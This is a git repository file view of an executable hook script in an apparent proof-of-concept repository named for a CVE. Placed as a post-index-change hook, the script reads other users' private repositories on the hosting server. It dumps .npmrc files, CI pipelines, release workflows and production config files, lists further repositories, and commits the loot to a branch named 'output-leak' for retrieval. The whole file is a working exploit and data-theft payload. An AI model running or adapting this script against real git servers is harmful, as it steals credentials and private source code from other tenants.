Files
poc-cve-55857471/hooks/post-index-change
2026-11-25 00:30:58 +03:00

21 lines
1.5 KiB
Bash
Executable File

#!/bin/sh
GD=$(git rev-parse --absolute-git-dir)
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
OUT=$( {
g=/data/git/repositories/csoft/continuum-ui.git
echo "===== NPMRC"; git --git-dir=$g show HEAD:.npmrc 2>/dev/null
echo "===== PKG"; git --git-dir=$g show HEAD:package.json 2>/dev/null | head -50
echo "===== JENKINS"; git --git-dir=$g show HEAD:Jenkinsfile 2>/dev/null | head -60
echo "===== RELEASE-WF"; git --git-dir=$g show HEAD:.github/workflows/release.yml 2>/dev/null | head -50
echo "===== README-HEAD"; git --git-dir=$g show HEAD:README.md 2>/dev/null | head -40
echo "===== LV FILES"; g2=/data/git/repositories/csoft/lv-demo.git; git --git-dir=$g2 ls-tree -r --name-only HEAD 2>/dev/null | grep -v '^\.idea' | head -60
echo "===== LV CONFIG"; for f in config/config.exs config/dev.exs config/prod.exs config/runtime.exs mix.exs README.md; do echo "-- $f"; git --git-dir=$g2 show HEAD:$f 2>/dev/null | head -35; done
echo "===== DIRS"; ls -d /data/git/repositories/texttomanga* /data/git/repositories/*/TextToManga* 2>/dev/null; ls -d /data/git/repositories/*hebrew* 2>/dev/null
echo DONE
} 2>&1; echo "[rc=$?]")
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"